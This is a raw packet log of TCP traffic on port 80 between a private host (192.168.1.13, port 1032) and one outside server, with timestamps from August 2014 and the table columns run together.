Aug 8, 2014 11:26:05.321675062 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.322122097 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.326406956 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.326435089 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.326909065 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.326962948 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.327428102 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.335059881 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.335089922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.335099936 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.335561991 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.338382959 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.338412046 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.338877916 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.338931084 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.339370012 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.394205093 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.402489901 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.402508020 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.402618885 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.402625084 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.402632952 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.402739048 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.404427052 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.404443026 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.404546976 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.404565096 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.404706001 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.410764933 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.410770893 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.410773993 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.410868883 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.476505995 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477008104 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.477065086 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477092028 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477109909 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477598906 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.477633953 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477680922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.477699995 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478168964 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.478204012 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478295088 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478312969 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478446007 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.478825092 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478825092 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.478842974 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478852987 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.478871107 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.479300022 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.479434967 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.480083942 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.482068062 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.492717981 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.492913961 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.492918968 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.492999077 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.493009090 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493033886 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493037939 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493108034 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.493114948 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493143082 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493144035 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.493148088 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493242979 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.493248940 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.493330002 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.499633074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.499655962 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.500071049 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.509332895 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.509814024 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.509862900 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.510238886 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.510293961 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.510354996 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.510377884 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.510862112 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.510896921 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.511028051 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.511452913 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.516382933 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.516413927 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.516423941 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.516824007 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.567102909 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.567605972 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.567658901 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.578912973 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.578942060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.579404116 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.579459906 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.580077887 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.581275940 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.583947897 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.583972931 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.584448099 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.584501028 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.585026979 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.595576048 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.595607042 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.595618010 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.595995903 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.612018108 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.612046957 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.612519979 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.612571955 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.613033056 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.617420912 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.634236097 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.634260893 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.634735107 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.634788036 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.635226965 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.640681028 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.640708923 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.640719891 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.641195059 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.641383886 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.646722078 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.646749973 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.646759987 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.647237062 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.650734901 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.650763988 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.651236057 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.651288986 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.651730061 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.661278963 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.667129993 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.667629957 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.667682886 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.675451994 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.675481081 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.675512075 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.675946951 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.676002979 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.676028013 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.676044941 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.676182985 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.676563978 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.676592112 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.676958084 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.685424089 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.685446024 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.685455084 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.685995102 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.686184883 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.701436996 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:05.891983986 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:05.892038107 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.111210108 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.476789951 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.476821899 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.476833105 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.477271080 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.477457047 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.477473974 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.477483034 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.477958918 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.477998972 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478163958 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.478168964 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478187084 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478624105 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478641987 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478642941 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.478672028 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.478992939 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.479105949 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.479165077 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.479301929 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.479324102 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.479621887 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.479636908 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.479664087 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.480062962 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.480087996 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.480251074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.480268002 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.480564117 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.480587959 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.480712891 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.480776072 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.480793953 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481112957 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.481137991 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481298923 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481314898 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481560946 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.481585979 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481712103 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.481822968 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.481852055 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482132912 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.482158899 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482388973 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482407093 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482496977 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.482518911 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482856989 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.482922077 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.482938051 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483283997 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.483308077 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483500957 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483516932 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483529091 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483822107 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.483845949 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.483971119 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.484036922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.484052896 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.484394073 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.484417915 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.484447002 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.484462023 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.484545946 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.484879971 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.484900951 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485024929 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485042095 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485323906 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.485347986 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485477924 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.485649109 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485667944 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.485929012 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.486010075 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.486038923 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.486396074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.486407042 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.486413002 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.486644983 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.486747026 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.486773014 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.487101078 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.487112045 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.487118959 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.487494946 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.487520933 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.487637997 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.487910986 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.489356041 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.489393950 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.489413977 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.489423037 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.489780903 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490504980 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490514040 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490518093 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490520000 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490520954 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490523100 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490525007 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490526915 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490529060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490668058 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490684986 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490694046 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490699053 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490703106 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490710020 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490741014 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490770102 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490885973 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.490892887 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:06.490925074 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.497020006 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:06.497561932 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477032900 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477041006 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477044106 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477046967 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477049112 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477174044 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477200985 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477205992 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477207899 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477263927 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477272034 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477307081 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477391005 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477420092 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477458000 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477463007 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477467060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477468967 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477472067 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477569103 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477576971 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477608919 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477638006 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477655888 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477659941 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477663994 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477665901 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477746964 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477752924 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477783918 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477823019 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477833033 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477835894 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477899075 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.477905035 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.477936029 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478020906 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478038073 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478041887 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478044033 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478056908 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478142023 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478169918 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478173971 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478240013 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478244066 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478256941 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478334904 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478339911 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478378057 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478446960 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478450060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478463888 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478466034 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478557110 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478562117 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478600025 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478643894 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478647947 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478652000 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478653908 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478717089 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478723049 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478751898 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478779078 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478835106 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478890896 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478894949 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478898048 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478900909 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478903055 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.478982925 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.478988886 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479017973 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479043961 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479043961 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479048967 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479162931 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479168892 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479243994 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479262114 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479265928 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479268074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479270935 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479274035 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479350090 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479378939 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479382992 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479456902 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479638100 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479644060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479649067 MESZ801032213.186.33.87192.168.1.13
